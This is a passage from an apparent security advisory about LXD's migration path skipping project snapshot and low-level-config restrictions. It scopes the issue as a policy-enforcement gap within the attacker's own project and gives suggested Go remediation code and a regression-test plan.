`restricted.snapshots` and `restricted.containers.lowlevel` checks on the
migration path — and **not** as a demonstrated low-level-config bypass. A
reviewer should check whether any other path (e.g. `lxc restore`, `lxc publish`,
cluster evacuation/failover) applies a migrated snapshot's config to a live
instance on `lxd-main`.

This is **not** a host escape and not a cross-tenant read: the attacker gains no
host root and no access to another project's data. It is a policy-enforcement
gap inside the attacker's own project boundary.

### Suggested remediation

Call the same helper the neighbouring paths already use, at the point where the
migration receiver creates snapshot records — a single place per driver, so both
containers and VMs are covered:

```go
// lxd/instance/drivers/driver_lxc.go (~:5295) and lxd/instance/drivers/driver_qemu.go (~:7960)
if args.Snapshots {
    // The target project must allow snapshots, exactly as the move and copy
    // paths require (lxd/instance_post.go:1274).
    err := limits.AllowSnapshotCreation(&project.Restrictions(d.state.DB.Cluster, d.project).Project)
    if err != nil {
        return fmt.Errorf("Instance snapshots cannot be placed in project %q: %w", d.project, err)
    }
    ...
}
```

If the intent is that a migration must never be able to place snapshots a
project forbids, the cheaper and more durable fix is to call
`checkTargetProjectRestrictions()` (or at least its `AllowInstanceCreation` +
`AllowSnapshotCreation` pair) from `createFromMigration()`
(`lxd/instances_post.go:614`) as well, so that all four create paths —
`copy`, `migration`, `conversion`, `backup` — share one guard instead of each
needing its own.

Regression test: in the migration integration tests, create a restricted target
project with `restricted.snapshots=block` and assert that a push migration of a
snapshotted instance into it fails with *"Instance snapshots cannot be placed in
project"*; the direct-snapshot control test already exists and can be reused.
Canonical's own test from the CVE-2026-63300 fix ("tests were added to ensure
moving instances across projects does not create snapshots") is the right place
to extend to the migration path.

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-m976-4gjw-7vhp

Page: https://cve.now/GHSA-M976-4GJW-7VHP

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
